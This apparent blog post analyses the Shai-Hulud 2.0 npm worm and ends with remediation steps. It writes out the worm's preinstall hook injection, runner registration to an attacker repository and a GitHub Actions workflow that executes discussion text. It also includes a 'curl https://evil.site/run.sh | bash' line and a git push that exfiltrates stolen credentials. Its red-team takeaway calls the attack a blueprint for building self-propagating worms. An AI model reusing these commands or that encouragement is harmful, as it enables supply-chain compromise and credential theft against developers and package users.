Shai-Hulud 2.0: Offensive Security Art in npm Worm Form

TL’DR

Shai-Hulud 2.0 hijacked npm maintainer accounts, backdoored every package they owned with a preinstall worm, and turned GitHub Actions discussions plus self-hosted runners into covert C2. Hundreds of packages and millions of downloads became infection paths in days.


Attack Snapshot

AttributeDetail
VectorCompromised npm maintainer accounts and poisoned packages
Payloadpreinstall hook deploying setup_bun.js -> bun_environment.js
C2GitHub Actions self-hosted runners triggered via Discussions
Scale~800 packages; millions of weekly downloads
GoalCredential theft, lateral movement, mass propagation
Why it landsAutomates trust abuse in CI/CD and routine package updates

Massive Supply Chain Compromise

Just days ago, the JavaScript ecosystem got hit with a worm that didn’t just drop malware, it demonstrated offensive engineering at its finest.

This is Art

Shai-Hulud 2.0, a self-propagating npm worm, spread by compromising developer accounts and abusing GitHub Actions as its covert command-and-control channel. While the world scrambles to clean up, let’s focus on the offensive ingenuity behind this attack.

With roughly 800 infected packages and millions of downstream installs, Shai-Hulud 2.0 was not a targeted intrusion—it was a coordinated compromise of trust, automation, and infrastructure. The incident now sits alongside the handful of attacks that permanently changed how we think about open-source and CI/CD security.


The Propagation: npm as a Worm Medium

Once a developer was compromised (credential theft or a poisoned dependency), the worm executed a scripted sequence:

  1. Enumerated every package the maintainer owned via the npm API:

    curl https://registry.npmjs.org/-/user/org.couchdb.user:<username>
  2. Injected a preinstall hook into each package’s package.json:

    "scripts": {
      "preinstall": "node setup_bun.js"
    }
  3. Dropped loader and payload files:

    • setup_bun.js: ensured Bun was present, then executed bun_environment.js
    • bun_environment.js: heavily obfuscated payload for data theft, lateral movement, and C2 registration
  4. Auto-bumped versions and republished to appear like normal maintenance:

    npm version patch
    npm publish

One hijacked maintainer could backdoor dozens of packages in minutes. Each infected package then propagated to any system that installed or built it—a clean, recursive worm aimed at the open-source supply chain.


The Control: GitHub Actions as C2

After landing on a developer machine, the payload swept for GitHub tokens in .npmrc, environment variables, and common paths. If it found one, it silently registered the host as a self-hosted GitHub Actions runner:

./config.sh --url https://github.com/attacker/repo --token <runner-token>

Command-and-control was disguised as normal GitHub traffic. The attacker opened a GitHub Discussion in their repo with content such as:

$(curl https://evil.site/run.sh | bash)

A waiting workflow executed the payload on every infected runner:

on:
  discussion:
    types: [created]

jobs:
  exec:
    runs-on: [self-hosted]
    steps:
      - run: ${{ github.event.discussion.body }}

For loot, the worm created public repos under the victim account named:

Sha1-Hulud: The Second Coming.

Then pushed JSON blobs with stolen credentials:

echo $STOLEN_CREDS > cloud.json
git add cloud.json && git commit -m "update" && git push

Voila

GitHub doubled as both the control plane and the data exfil path—no outbound beacons or sketchy domains required.


Takeaways

For all teams: Attackers think in workflows, not only in IP ranges. Your CI tools, tokens, and package releases are attack surfaces.

For red teamers: This is your blueprint for abusing trust, automation, and open ecosystems. Use package managers and CI/CD platforms to build self-propagating worms that blend in with normal developer activity.

For defenders: Monitor for mass package publishes, unusual GitHub Actions behavior, and lateral credential use across victims.


Remediation Measures

  • Rotate all credentials for impacted maintainers and developers, Enforce 2FA.
  • Audit GitHub Actions runners; disable or delete any unapproved self-hosted entries.
  • Review recent package versions for unverified preinstall changes or Bun loaders.
  • Hunt for public repos using the “Second Coming” signature and unexpected JSON artifacts.
  • Lock down developer workstations and enforce scoped, short-lived tokens.

References